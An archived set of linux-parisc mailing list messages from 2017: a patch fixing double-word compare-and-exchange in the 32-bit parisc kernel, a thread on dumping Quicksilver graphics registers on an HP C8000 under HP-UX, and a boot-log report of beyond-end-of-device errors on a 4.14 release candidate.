	for glpp-linux-parisc@m.gmane.org; Sat, 30 Sep 2017 19:34:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751243AbdI3Reh convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 30 Sep 2017 13:34:37 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:60492 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751217AbdI3Reh (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 30 Sep 2017 13:34:37 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170930173435.CBCC11966.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 30 Sep 2017 13:34:35 -0400
Original-Received: from [192.168.2.25] (really [70.54.50.145]) by mtlspm01.bell.net
          with ESMTP
          id <20170930173435.HXXQ5856.mtlspm01.bell.net@[192.168.2.25]>;
          Sat, 30 Sep 2017 13:34:35 -0400
In-Reply-To: <20170930152506.GA10542@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=Pe0Qvmpd c=1 sm=0 tr=0 a=1hRIHJrxedDHIGFr3TbrYQ==:17 a=kj9zAlcOel0A:10 a=2JCJgTwv5E4A:10 a=FBHGMhGWAAAA:8 a=PwgylYOefbnVteQ0L4UA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27880>

Hi Thomas,

On 2017-09-30, at 11:25 AM, Tom Bogendoerfer wrote:

> Does anyone have a C8000 with a running HP-UX on it and can help
> getting a register dump of quicksilver ?

I have a c8000 with hpux although I haven't booted it in some time.  Let me know specifically
what is needed and I'll give it a try.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix double-word compare and exchange on 32-bit kernels
Date: Sat, 30 Sep 2017 17:24:23 -0400
Lines: 69
Approved: news@gmane.org
Message-ID: <44C4D87F-A487-4537-AE07-B938416DA437@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-33-218486278
X-Trace: blaine.gmane.org 1506806664 4656 195.159.176.226 (30 Sep 2017 21:24:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 21:24:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 30 23:24:18 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dyPFB-0002gI-W3
	for glpp-linux-parisc@m.gmane.org; Sat, 30 Sep 2017 23:24:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751202AbdI3VYZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 30 Sep 2017 17:24:25 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:50474 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751141AbdI3VYZ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 30 Sep 2017 17:24:25 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170930212423.GESB11966.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 30 Sep 2017 17:24:23 -0400
Original-Received: from [192.168.2.25] (really [70.54.50.145]) by mtlspm01.bell.net
          with ESMTP
          id <20170930212423.JKPU5856.mtlspm01.bell.net@[192.168.2.25]>;
          Sat, 30 Sep 2017 17:24:23 -0400
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=Pe0Qvmpd c=1 sm=0 tr=0 a=1hRIHJrxedDHIGFr3TbrYQ==:17 a=2JCJgTwv5E4A:10 a=FBHGMhGWAAAA:8 a=HTQvRuqGDTvnixegNgwA:9 a=CjuIK1q_8ugA:10 a=syUfrjFSKIRkY4oNQK0A:9 a=Ld372NDzu18A:10 a=CTwWI_8SlGQyalyz8_QA:9 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27881
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27881>


--Apple-Mail-33-218486278
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

As discussed on the debian-hppa list, double-wordcompare and exchange =
operations
fail on 32-bit kernels.  Looking at the code, I realized that the ",ma" =
completer does the wrong
thing in the  "ldw,ma  4(%r26), %r29" instruction.  This increments %r26 =
and causes the following
store to write to the wrong location.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-33-218486278
Content-Disposition: attachment;
	filename=syscall.S.d.txt
Content-Type: text/plain;
	x-unix-mode=0644;
	name="syscall.S.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 23de307c3052..41e60a9c7db2 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -742,7 +742,7 @@ lws_compare_and_swap_2:
 10:	ldd	0(%r25), %r25
 11:	ldd	0(%r24), %r24
 #else
-	/* Load new value into r22/r23 - high/low */
+	/* Load old value into r22/r23 - high/low */
 10:	ldw	0(%r25), %r22
 11:	ldw	4(%r25), %r23
 	/* Load new value into fr4 for atomic store later */
@@ -834,11 +834,11 @@ cas2_action:
 	copy	%r0, %r28
 #else
 	/* Compare first word */
-19:	ldw,ma	0(%r26), %r29
+19:	ldw	0(%r26), %r29
 	sub,=	%r29, %r22, %r0
 	b,n	cas2_end
 	/* Compare second word */
-20:	ldw,ma	4(%r26), %r29
+20:	ldw	4(%r26), %r29
 	sub,=	%r29, %r23, %r0
 	b,n	cas2_end
 	/* Perform the store */

--Apple-Mail-33-218486278
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-33-218486278--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Sun, 1 Oct 2017 13:46:26 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20171001114626.GA16118@alpha.franken.de>
References: <20170930152506.GA10542@alpha.franken.de>
 <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506862074 5161 195.159.176.226 (1 Oct 2017 12:47:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Oct 2017 12:47:54 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 01 14:47:51 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dydew-0000mg-5E
	for glpp-linux-parisc@m.gmane.org; Sun, 01 Oct 2017 14:47:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751013AbdJAMr5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 1 Oct 2017 08:47:57 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:32972 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750981AbdJAMr4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 1 Oct 2017 08:47:56 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1dydf5-0000lq-00; Sun, 01 Oct 2017 14:47:59 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id E2EC6508B6C; Sun,  1 Oct 2017 13:46:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27882>

On Sat, Sep 30, 2017 at 01:34:35PM -0400, John David Anglin wrote:
> Hi Thomas,
> 
> On 2017-09-30, at 11:25 AM, Tom Bogendoerfer wrote:
> 
> > Does anyone have a C8000 with a running HP-UX on it and can help
> > getting a register dump of quicksilver ?
> 
> I have a c8000 with hpux although I haven't booted it in some time.
> Let me know specifically what is needed and I'll give it a try.

does it have a working graphics card ? 

Does anybody know HP-UX ? Could I mmap the register of quicksilver
and dump it from user space ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Sun, 1 Oct 2017 09:20:11 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <F6CD5540-CC99-4D7B-8625-3757D8F05BC6@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1506864017 11766 195.159.176.226 (1 Oct 2017 13:20:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Oct 2017 13:20:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 01 15:20:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dyeA9-0003nE-Ss
	for glpp-linux-parisc@m.gmane.org; Sun, 01 Oct 2017 15:20:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751018AbdJANUN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 1 Oct 2017 09:20:13 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:42781 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750988AbdJANUN (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 1 Oct 2017 09:20:13 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171001132011.FCJ32294.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 1 Oct 2017 09:20:11 -0400
Original-Received: from [192.168.2.25] (really [70.54.50.145]) by mtlspm02.bell.net
          with ESMTP
          id <20171001132011.NMCN3399.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 1 Oct 2017 09:20:11 -0400
In-Reply-To: <20171001114626.GA16118@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=1hRIHJrxedDHIGFr3TbrYQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=0Jxz48puGCwnmrZncNsA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27883>

On 2017-10-01, at 7:46 AM, Tom Bogendoerfer wrote:

> On Sat, Sep 30, 2017 at 01:34:35PM -0400, John David Anglin wrote:
>> Hi Thomas,
>> 
>> On 2017-09-30, at 11:25 AM, Tom Bogendoerfer wrote:
>> 
>>> Does anyone have a C8000 with a running HP-UX on it and can help
>>> getting a register dump of quicksilver ?
>> 
>> I have a c8000 with hpux although I haven't booted it in some time.
>> Let me know specifically what is needed and I'll give it a try.
> 
> does it have a working graphics card ? 

Yes (card used to work but I haven't used it in some time).

> 
> Does anybody know HP-UX ? Could I mmap the register of quicksilver
> and dump it from user space ?

Manpage for mmap says:

      The mmap() function is supported for regular files.  Support for any
      other type of file is unspecified.

If there is a device, possibly one can use dd.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Sun, 1 Oct 2017 10:11:42 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <77C25382-EF4C-4AE5-9860-A23777D29B1E@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de> <F6CD5540-CC99-4D7B-8625-3757D8F05BC6@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1506867103 13672 195.159.176.226 (1 Oct 2017 14:11:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Oct 2017 14:11:43 +0000 (UTC)
Cc: Tom Bogendoerfer <tsbogend@alpha.franken.de>,
        linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 01 16:11:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dyey2-00036T-7Q
	for glpp-linux-parisc@m.gmane.org; Sun, 01 Oct 2017 16:11:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751018AbdJAOLp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 1 Oct 2017 10:11:45 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:33367 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750988AbdJAOLn (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 1 Oct 2017 10:11:43 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171001141142.YFS17022.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 1 Oct 2017 10:11:42 -0400
Original-Received: from [192.168.2.25] (really [70.54.50.145]) by mtlspm02.bell.net
          with ESMTP
          id <20171001141142.NYEQ3399.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 1 Oct 2017 10:11:42 -0400
In-Reply-To: <F6CD5540-CC99-4D7B-8625-3757D8F05BC6@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=1hRIHJrxedDHIGFr3TbrYQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=42ECJVmezjqkJuF7P00A:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27884
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27884>

On 2017-10-01, at 9:20 AM, John David Anglin wrote:

>> 
>> Does anybody know HP-UX ? Could I mmap the register of quicksilver
>> and dump it from user space ?
> 
> Manpage for mmap says:
> 
>      The mmap() function is supported for regular files.  Support for any
>      other type of file is unspecified.
> 
> If there is a device, possibly one can use dd.

There are also /dev/mem and /dev/kmem:

 mem(7)                                                               mem(7)

 NAME
      mem - main memory

 DESCRIPTION
      mem is a special file that is an image of the main memory of the
      computer.  It may be used, for example, to examine and patch the
      system.

      Byte addresses in mem are interpreted as physical memory addresses.
      References to non-existent locations cause errors to be returned.

      File kmem is the same as mem except that kernel virtual memory rather
      than physical memory is accessed.  Please refer to kmem(7) for
      information about ioctl operations that are supported on /dev/kmem.
...

 NAME
      kmem - perform I/O on kernel memory based on symbol name.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Sun, 1 Oct 2017 10:47:12 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <69FBACCA-6010-4FFA-A873-52B77439BD1C@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1506869232 18959 195.159.176.226 (1 Oct 2017 14:47:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Oct 2017 14:47:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 01 16:47:08 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dyfWN-0008Ih-6F
	for glpp-linux-parisc@m.gmane.org; Sun, 01 Oct 2017 16:47:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751089AbdJAOrO convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 1 Oct 2017 10:47:14 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:38540 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750981AbdJAOrO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 1 Oct 2017 10:47:14 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171001144712.BUQB17022.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 1 Oct 2017 10:47:12 -0400
Original-Received: from [192.168.2.25] (really [70.54.50.145]) by mtlspm02.bell.net
          with ESMTP
          id <20171001144712.OGIZ3399.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 1 Oct 2017 10:47:12 -0400
In-Reply-To: <20171001114626.GA16118@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=1hRIHJrxedDHIGFr3TbrYQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=9Zj_-419H-1GX8XMS14A:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27885>

On 2017-10-01, at 7:46 AM, Tom Bogendoerfer wrote:

>> I have a c8000 with hpux although I haven't booted it in some time.
>> Let me know specifically what is needed and I'll give it a try.
> 
> does it have a working graphics card ? 

We have in linux boot:

Quicksilver version TR1.0 (0x10) found at 0xfffffffffed28000                    
LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new                  
LBA 0:4: PCI host bridge to bus 0000:80                                         
pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0)
pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffdfffffff] )
pci_bus 0000:80: root bus resource [bus 80-87]                                  
powersw: Soft power switch at 0xfffffff0f042e278 enabled.                       
pci 0000:80:00.0: vgaarb: setting as boot VGA device                            
pci 0000:80:00.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=noe
pci 0000:80:00.0: vgaarb: bridge control possible                               
vgaarb: loaded                                                                  

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: AW: v4.14.0-rc1+
Date: Sun, 1 Oct 2017 10:58:52 -0400
Lines: 71
Approved: news@gmane.org
Message-ID: <CC5D2FE5-B920-4AB4-9B0F-A098528C42D6@bell.net>
References: <lilfbtwi7r01tfe6wj0fccy0.1506609236089@email.android.com> <3546a20b-dbbc-6946-9390-72201e094923@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1506869932 14995 195.159.176.226 (1 Oct 2017 14:58:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Oct 2017 14:58:52 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 01 16:58:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dyfhe-0006xI-Ep
	for glpp-linux-parisc@m.gmane.org; Sun, 01 Oct 2017 16:58:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751043AbdJAO6y convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 1 Oct 2017 10:58:54 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:48187 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751004AbdJAO6x (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 1 Oct 2017 10:58:53 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171001145852.CCOS17022.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 1 Oct 2017 10:58:52 -0400
Original-Received: from [192.168.2.25] (really [70.54.50.145]) by mtlspm02.bell.net
          with ESMTP
          id <20171001145852.OJFX3399.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 1 Oct 2017 10:58:52 -0400
In-Reply-To: <3546a20b-dbbc-6946-9390-72201e094923@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=1hRIHJrxedDHIGFr3TbrYQ==:17 a=8nJEP1OIZ-IA:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=DXofh8ogtAxoN76VPYgA:9 a=wPNLvfGTeEIA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27886>

Hi Helge,

rc2+ booted on c8000 (don't know about mx3210) but I saw the following error that I haven't seen before:

sd 4:0:0:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.4 GiB)
...
sd 4:0:0:0: [sda] Write Protect is off                                          
sd 4:0:2:0: [sdb] Spinning up disk...                                           
sd 4:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FA
...
sd 4:0:0:0: [sda] Attached SCSI disk                                            
...
Begin: Will now check root file system ... fsck from util-linux 2.29.2          
[/sbin/fsck.ext3 (1) -- /dev/sda4] fsck.ext3 -a -C0 /dev/sda4                   
ROOT: clean, 146966/4341760 files, 6241775/17343EXT4-fs (sda4): mounting ext3 fm
502 blocks                                                                      
done.                                                                           
EXT4-fs (sda4): mounted filesystem with ordered data mode. Opts: (null)         
done.                                                                           
...
sd 4:0:0:0: Attached scsi generic sg0 type 0                                    
...
attempt to access beyond end of device                                          
unknown-block(8,0): rw=0, want=143374744, limit=143374738                       
attempt to access beyond end of device                                          
unknown-block(8,0): rw=0, want=143374744, limit=143374738                       
Buffer I/O error on dev sda4, logical block 17343502, async page read           

Doesn't happen with v4.13.4.

Dave    

On 2017-09-28, at 1:36 PM, Helge Deller wrote:

> Hi Dave,
> 
> Actually, I didn't fully read your error description...
> I fixed a bug before rc2, where the kernel bootloader was hanging after
> saying "Decompressing...".
> I didn't saw any issues with ttyS switch...
> 
> Helge
> On 28.09.2017 16:33, Helge Deller wrote:
>> Should be fixed in rc2
>> -------- Ursprngliche Nachricht --------
